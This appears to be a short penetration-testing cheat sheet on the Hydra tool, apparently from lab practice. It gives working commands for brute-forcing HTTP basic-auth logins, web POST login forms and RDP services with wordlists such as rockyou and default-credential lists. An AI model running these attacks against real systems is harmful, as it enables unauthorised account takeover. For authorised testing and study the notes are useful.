# Hydra

## Hydra Supported Services

```bash
hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FiTvsVNBem6Bkgnr1sIGb%2Fimage.png?alt=media&#x26;token=725a4578-48bb-45fe-a806-a606b0b10bca" alt=""><figcaption></figcaption></figure>

## HTTP AUTH Bruteforce

We can use hydra to pass it colon seperated wordlist with default credentials and we can try to do a bruteforce attack on the http login, i will use the wordlist from seclists which containes the **default credentials by colon seperation**

```python
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt http-get://94.237.53.3:40213/
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FC75nL3C0H3Yke0pEDCdU%2Fimage.png?alt=media&#x26;token=457541f2-56f9-4d83-8af6-309726a73a30" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FLnCDBDbk5rKVYc9wyluW%2Fimage.png?alt=media&#x26;token=76fb5fa3-0ae8-4806-adc9-fe00e65144fd" alt=""><figcaption><p>Successfull Login using the creds found</p></figcaption></figure>

## Hydra POST Form BruteForce Attack

If you have a login page and you need to bruteforce the creds for that, one way is you can use the burpsuite Intruder, the Second thing which we can use is Hydra Post Form as well&#x20;

there are 3 things we need to add after http-post-form, -s is for port

1. Login Endpoint
2. Parameters
3. Fail or success msg OR Something from Page Source

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 94.237.63.83 -s 51867 http-post-form "/login.php:username=^USER^&password=^PASS^:<form name='login'" -f
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2Fq4MT3zwGNOVXgb3Rrz7M%2Fimage.png?alt=media&#x26;token=b63177b5-e6c7-4f94-9b6d-4266ef8f4088" alt=""><figcaption></figcaption></figure>

## Hydra on RDP Port 3389

```python
hydra -L users.txt -P passwords.txt rdp://127.0.0.1
```

### Hydra on RDP with Multipe IPs

```
hydra -L users.txt -P passwords.txt -M IPs.txt rdp
```
